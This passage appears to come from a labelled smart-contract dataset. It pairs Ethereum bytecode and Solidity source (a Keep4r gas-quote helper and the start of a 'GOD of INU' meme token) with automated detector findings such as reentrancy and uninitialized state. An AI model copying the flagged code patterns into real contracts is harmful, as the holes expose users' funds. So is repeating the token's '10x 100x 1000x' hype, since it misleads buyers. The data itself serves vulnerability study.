02191690831515021790555050565b61172d8383836117a7565b505050565b600080600061173f611972565b91509150611756818361175d90919063ffffffff16565b9250505090565b600061179f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119d1565b905092915050565b6000806000806000806117b987611a34565b95509550955095509550955061181786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118ac85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118f881611b44565b6119028483611c01565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161195f9190612459565b60405180910390a3505050505050505050565b60008060006008549050600067016345785d8a000090506119a667016345785d8a000060085461175d90919063ffffffff16565b8210156119c45760085467016345785d8a00009350935050506119cd565b81819350935050505b9091565b60008083118290611a18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0f9190612337565b60405180910390fd5b5060008385611a279190612594565b9050809150509392505050565b6000806000806000806000806000611a518a600a54600b54611c3b565b9250925092506000611a61611732565b90506000806000611a748e878787611cd1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611ade83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112c3565b905092915050565b6000808284611af5919061253e565b905083811015611b3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3190612399565b60405180910390fd5b8091505092915050565b6000611b4e611732565b90506000611b658284611d5a90919063ffffffff16565b9050611bb981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611c1682600854611a9c90919063ffffffff16565b600881905550611c3181600954611ae690919063ffffffff16565b6009819055505050565b600080600080611c676064611c59888a611d5a90919063ffffffff16565b61175d90919063ffffffff16565b90506000611c916064611c83888b611d5a90919063ffffffff16565b61175d90919063ffffffff16565b90506000611cba82611cac858c611a9c90919063ffffffff16565b611a9c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611cea8589611d5a90919063ffffffff16565b90506000611d018689611d5a90919063ffffffff16565b90506000611d188789611d5a90919063ffffffff16565b90506000611d4182611d338587611a9c90919063ffffffff16565b611a9c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d6d5760009050611dcf565b60008284611d7b91906125c5565b9050828482611d8a9190612594565b14611dca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc1906123b9565b60405180910390fd5b809150505b92915050565b600081359050611de4816129c5565b92915050565b600081519050611df9816129c5565b92915050565b600081359050611e0e816129dc565b92915050565b600081519050611e23816129dc565b92915050565b600081359050611e38816129f3565b92915050565b600081519050611e4d816129f3565b92915050565b600060208284031215611e6957611e686127a9565b5b6000611e7784828501611dd5565b91505092915050565b600060208284031215611e9657611e956127a9565b5b6000611ea484828501611dea565b91505092915050565b60008060408385031215611ec457611ec36127a9565b5b6000611ed285828601611dd5565b9250506020611ee385828601611dd5565b9150509250929050565b600080600060608486031215611f0657611f056127a9565b5b6000611f1486828701611dd5565b9350506020611f2586828701611dd5565b9250506040611f3686828701611e29565b9150509250925092565b60008060408385031215611f5757611f566127a9565b5b6000611f6585828601611dd5565b9250506020611f7685828601611e29565b9150509250929050565b600060208284031215611f9657611f956127a9565b5b6000611fa484828501611dff565b91505092915050565b600060208284031215611fc357611fc26127a9565b5b6000611fd184828501611e14565b91505092915050565b600080600060608486031215611ff357611ff26127a9565b5b600061200186828701611e3e565b935050602061201286828701611e3e565b925050604061202386828701611e3e565b9150509250925092565b60006120398383612045565b60208301905092915050565b61204e81612653565b82525050565b61205d81612653565b82525050565b600061206e826124f9565b612078818561251c565b9350612083836124e9565b8060005b838110156120b457815161209b888261202d565b97506120a68361250f565b925050600181019050612087565b5085935050505092915050565b6120ca81612665565b82525050565b6120d9816126a8565b82525050565b60006120ea82612504565b6120f4818561252d565b93506121048185602086016126ba565b61210d816127ae565b840191505092915050565b6000612125602a8361252d565b9150612130826127bf565b604082019050919050565b600061214860228361252d565b91506121538261280e565b604082019050919050565b600061216b601b8361252d565b91506121768261285d565b602082019050919050565b600061218e60218361252d565b915061219982612886565b604082019050919050565b60006121b160208361252d565b91506121bc826128d5565b602082019050919050565b60006121d460298361252d565b91506121df826128fe565b604082019050919050565b60006121f760248361252d565b91506122028261294d565b604082019050919050565b600061221a60178361252d565b91506122258261299c565b602082019050919050565b61223981612691565b82525050565b6122488161269b565b82525050565b60006020820190506122636000830184612054565b92915050565b600060408201905061227e6000830185612054565b61228b6020830184612054565b9392505050565b60006040820190506122a76000830185612054565b6122b46020830184612230565b9392505050565b600060c0820190506122d06000830189612054565b6122dd6020830188612230565b6122ea60408301876120d0565b6122f760608301866120d0565b6123046080830185612054565b61231160a0830184612230565b979650505050505050565b600060208201905061233160008301846120c1565b92915050565b6000602082019050818103600083015261235181846120df565b905092915050565b6000602082019050818103600083015261237281612118565b9050919050565b600060208201905081810360008301526123928161213b565b9050919050565b600060208201905081810360008301526123b28161215e565b9050919050565b600060208201905081810360008301526123d281612181565b9050919050565b600060208201905081810360008301526123f2816121a4565b9050919050565b60006020820190508181036000830152612412816121c7565b9050919050565b60006020820190508181036000830152612432816121ea565b9050919050565b600060208201905081810360008301526124528161220d565b9050919050565b600060208201905061246e6000830184612230565b92915050565b600060a0820190506124896000830188612230565b61249660208301876120d0565b81810360408301526124a88186612063565b90506124b76060830185612054565b6124c46080830184612230565b9695505050505050565b60006020820190506124e3600083018461223f565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061254982612691565b915061255483612691565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612589576125886126ed565b5b828201905092915050565b600061259f82612691565b91506125aa83612691565b9250826125ba576125b961271c565b5b828204905092915050565b60006125d082612691565b91506125db83612691565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612614576126136126ed565b5b828202905092915050565b600061262a82612691565b915061263583612691565b925082821015612648576126476126ed565b5b828203905092915050565b600061265e82612671565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126b382612691565b9050919050565b60005b838110156126d85780820151818401526020810190506126bd565b838111156126e7576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6129ce81612653565b81146129d957600080fd5b50565b6129e581612665565b81146129f057600080fd5b50565b6129fc81612691565b8114612a0757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c37ebbc3ce37ea0df7128656f1dbf5f62e1875df2db250b904a14ec6363f6c7164736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,116 |
0x63B0f1ceCF0afd44096806647Eb6E8928163875b | // Keep4r.Network 🚀
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "add: +");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "sub: -");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "mul: *");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "div: /");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint a, uint b) internal pure returns (uint) {
return mod(a, b, "mod: %");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b != 0, errorMessage);
return a % b;
}
}
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
interface IChainLinkFeed {
function latestAnswer() external view returns (int256);
}
interface IKeep4rV1 {
function totalBonded() external view returns (uint);
function bonds(address keeper, address credit) external view returns (uint);
function votes(address keeper) external view returns (uint);
}
/*contract FASTGASPlaceholder is IChainLinkFeed {
function latestAnswer() override external view returns (int256) {
return 21120000000;
}
}*/
contract Keep4rV1Helper {
using SafeMath for uint;
IChainLinkFeed public FASTGAS; //= IChainLinkFeed(0x169E633A2D1E6c10dD91238Ba11c4A708dfEF37C);
IKeep4rV1 public KP4R; //= IKeep4rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44);
uint constant public BOOST = 50;
uint constant public BASE = 10;
uint constant public TARGETBOND = 200e18;
uint constant public PRICE = 10;
constructor (address _fastGas, address _kp4r) public {
FASTGAS = IChainLinkFeed(_fastGas);
KP4R = IKeep4rV1(_kp4r);
}
function getFastGas() external view returns (uint) {
return uint(FASTGAS.latestAnswer());
}
function bonds(address keeper) public view returns (uint) {
return KP4R.bonds(keeper, address(KP4R)).add(KP4R.votes(keeper));
}
function getQuoteLimitFor(address origin, uint gasUsed) public view returns (uint) {
uint _min = gasUsed.mul(PRICE).mul(uint(FASTGAS.latestAnswer()));
uint _boost = _min.mul(BOOST).div(BASE); // increase by 2.5
uint _bond = Math.min(bonds(origin), TARGETBOND);
return Math.max(_min, _boost.mul(_bond).div(TARGETBOND));
}
function getQuoteLimit(uint gasUsed) external view returns (uint) {
// solhint-disable avoid-tx-origin
return getQuoteLimitFor(tx.origin, gasUsed);
}
} | 0x608060405234801561001057600080fd5b506004361061009e5760003560e01c8063904440bd11610066578063904440bd14610116578063b2b1df1d1461011e578063dbbc4a5714610142578063ec342ad014610106578063fe10d7741461014a5761009e565b80630421d7f2146100a35780632a84797f146100e1578063525ea631146100e95780638d859f3e146101065780638e686d561461010e575b600080fd5b6100cf600480360360408110156100b957600080fd5b506001600160a01b038135169060200135610170565b60408051918252519081900360200190f35b6100cf610285565b6100cf600480360360208110156100ff57600080fd5b503561028a565b6100cf610296565b6100cf61029b565b6100cf6102a8565b610126610328565b604080516001600160a01b039092168252519081900360200190f35b610126610337565b6100cf6004803603602081101561016057600080fd5b50356001600160a01b0316610346565b60008061020c6000809054906101000a90046001600160a01b03166001600160a01b03166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156101c357600080fd5b505afa1580156101d7573d6000803e3d6000fd5b505050506040513d60208110156101ed57600080fd5b505161020085600a63ffffffff61044f16565b9063ffffffff61044f16565b90506000610232600a61022684603263ffffffff61044f16565b9063ffffffff6104ae16565b9050600061025161024287610346565b680ad78ebc5ac62000006104d9565b905061027983610274680ad78ebc5ac6200000610226868663ffffffff61044f16565b6104ef565b93505050505b92915050565b603281565b600061027f3283610170565b600a81565b680ad78ebc5ac620000081565b60008060009054906101000a90046001600160a01b03166001600160a01b03166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156102f757600080fd5b505afa15801561030b573d6000803e3d6000fd5b505050506040513d602081101561032157600080fd5b5051905090565b6001546001600160a01b031681565b6000546001600160a01b031681565b6001546040805163d8bff5a560e01b81526001600160a01b038481166004830152915160009361027f93169163d8bff5a5916024808301926020929190829003018186803b15801561039757600080fd5b505afa1580156103ab573d6000803e3d6000fd5b505050506040513d60208110156103c157600080fd5b50516001546040805163a39744b560e01b81526001600160a01b038781166004830152909216602483018190529051909163a39744b5916044808301926020929190829003018186803b15801561041757600080fd5b505afa15801561042b573d6000803e3d6000fd5b505050506040513d602081101561044157600080fd5b50519063ffffffff6104ff16565b60008261045e5750600061027f565b8282028284828161046b57fe5b04146104a7576040805162461bcd60e51b815260206004820152600660248201526536bab61d101560d11b604482015290519081900360640190fd5b9392505050565b60006104a78383604051806040016040528060068152602001656469763a202f60d01b815250610542565b60008183106104e857816104a7565b5090919050565b6000818310156104e857816104a7565b6000828201838110156104a7576040805162461bcd60e51b81526020600482015260066024820152656164643a202b60d01b604482015290519081900360640190fd5b600081836105ce5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561059357818101518382015260200161057b565b50505050905090810190601f1680156105c05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816105da57fe5b049594505050505056fea2646970667358221220a29007bd4781b5baab3becfdc902781e06c9cd8b002b6a71b3ffd5a83802233d64736f6c63430006060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 10,117 |
0x77eA3278Aa56EFB4258b83973E2A2288629504C8 | /**
*Submitted for verification at Etherscan.io on 2021-05-12
*/
pragma solidity =0.7.6;
// ============================== IN DOG WE TRUST ===========================
//
// ,%@@@@#
// ,@@@@@@@@@%.......%@@@@@@@@@@@@@@
// #@@@@@[email protected]@@@@@@@
// @@@@[email protected]@@@@@.
// @@@@@.......................................................,@@@@
// @@@*[email protected]@@@@
// @@@......[email protected]@@@
// @@@...........[email protected]@@@
// @@@...............[email protected]@@.
// @@@...................[email protected]@@
// @@...................................................................................../@@
// @@@............................... @@@....................................................%@@
// @@@...............................,@@*@@@..................../@@@@[email protected]@@
// @@([email protected]@***@@@[email protected]@@@****@@[email protected]@@
// @@/[email protected]@@@@@&&@@@@@@@@@@@@@@@@@@********@@@.......................#@@
// @@ @@............................&@@@@@****************************@@****@@,[email protected]@@
// @@@@@@@@[email protected]@@@*******************************@@*****@@@[email protected]@@
// @@%@@@ @@@[email protected]@@@*****..*********************************@@@[email protected]@
// @@@@@@@[email protected]@@[email protected]@@@******* *******.. ***********************@@@.......................,@@@
// @@#... ,@@[email protected]@@[email protected]@@/. @ @@@********...************************@@@/[email protected]@@
// @@@@@@@(@&@@[email protected]@@[email protected]@@[email protected]&@@**********@[email protected]@@@@..........**********@@@[email protected]@@
// @@@@@@@ @@@...*@@@[email protected]@@..... **************@@@@@@@........... *********@@[email protected]@@
// @@@@@*......*&@@@[email protected]@.......*************** ................**********@@[email protected]@@
// @@@@.......**@@@*[email protected]@[email protected]@@@@@@@********** .............**************@@@[email protected]@@
// @@@........**@@@........*@@[email protected]@@@@@%....***.........................********@@[email protected]@@
// @@@.......***@@@.......,@@.... @[email protected],*******@@[email protected]@@
// @@(......,***@@@[email protected]@[email protected]@@[email protected]@@@@......#........................*******@@[email protected]@
// @@.......****@@@[email protected]@@....,@@........... @@ .......................*******@@%[email protected]@@
// @@.......****@@@.......%@@@.... @@@@@@@............................... ********@@[email protected]@@
// @@.......****@@@[email protected]@@.........................................**********@@%...............%@@@
// @@........***@@@[email protected]@@......................................*************@@@[email protected]@
// @@........***@@@[email protected]@@...................................*****************@@@[email protected]@
// @@....... ***@@@%[email protected]@@@.................................... ...,** ... *****@@@........#@@
// @@......*****@@@@/@@@@@@@@@@@@...............................................****@@@@@@@[email protected]@@
// @@.....******@@@@@@@///@@/@/@@@.............................................**@@@@ [email protected]@@@@@@
// @@.......*****@@@@@///@@//@#@@@@@/ [email protected]@@@@ @@ @@@
// @@@.......*******@@////&@//@@/@@ &@@@@@[email protected]@@@@@ %@@ @@ @@@
// @@@..........***/@@////(@#/@@//@@ @ @@@@@@@@[email protected]@@@@@@@ @@@ (@@ @@
// @@@........... @@/////(@@/(@(//@@ @@ @@ @@@@@@@@@@@@@@@@@@@ @, @@@ @@@@@@,
// @@@[email protected]@/////@@@//@@//@@ @@* @@ %@@@ %@@@ @@@@
// @@@@[email protected]@/////@@@//@@///@@ @@ @@ @@@@ @@@# @@@@
// @ @@@..... @@/////@@(//@@@///@@@ @@ (@@ ,@@& @@@@ @@@@@@
// @@ @@@@@@[email protected]@@/////@@////@@/////@@@ @@ #@@/ @@@ @@@@ @@ ,@@
// @@ @@@@@@@@@@(/////@@////@@@////(@@@@ @@ @@@@ &@@@@ @@@( @@ @@@
// @@ @@@@@@@@@@//////@@/////@@///////@@@@ @@@ @@@@@@@@ @@@@ @@ [email protected] @@@
// @@ @@@@@@@@@@//////@@/////@@/////////@@@@ @@@ @@@@ @@@@ @ @ @ @@
// @@ @@@@@@@@@&//////@@//////@@//////////@@@@ @@@ @@@@ @@@ @@ @& @
// @@ @@@@@@@@@///////@@%/////@@#//////////(@@@@ @@@ @@@* ,@ @ @&
// @@ @@@@@@@@(///////@@@//////@@/////////////@@@@ @@@ @@@@ @ @ @
// @@ @@@@@@@@////////@@@//////@@@//////////////@@@@ @@@ (@@@@. @@ @
// @@ @@@@@@@////////@@@///////@@////////////////@@@@ @@@ @@@ %@
// @@ @@@@@@@/////////@%///////%@@////////////////(@@@@ @@( @@@@@ @
// @@/ @@@@@@@/////////@%////////@@%//////////////////@@@@@ @@, @@@@@@@
// @@@ @@@@@//////////(@/////////@@/////////////////////@@@@ @ /@@@@@@
// @@@ @@@@@///////////@//////////@@//////////////////////@@@@% @@
// @@@ @@@@@///////////@///////////@@////////////////////////@@@@
// @@@ @@@@%///////////////////////%@@/////////////////////////@@@@@
// #@@ @@@&////////////////////////@@@///////////////////////////@@@@@@
// @@ @@@//////////////////////////&@@//////////////////////////////@@@@@
// @@ %@@////////////////////////////@@/////////////////////////////////@@@@@@
// @@ @@/////////////////////////////@@////////////////////////////////////@@@@@@@@@@@@@#
// @@ ,@@//////////////////////////////@@%/////////////////////////////////////////////@@@@@@@@@@@@@@@@@@@@
// @@ @@@///////////////////////////////@@@////////////////////////////////////////////////////////////////
// @ @@//////////////////////////////////@@///////////////////////////////////////////////////////////////
//
// GOD of INU --- SUPREME DOG COIN --- 10x 100x 1000x --- !!GOD MODE ON!!
//
// ================================= IN DOG WE TRUST ===========================
//
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burnFrom(address account, uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
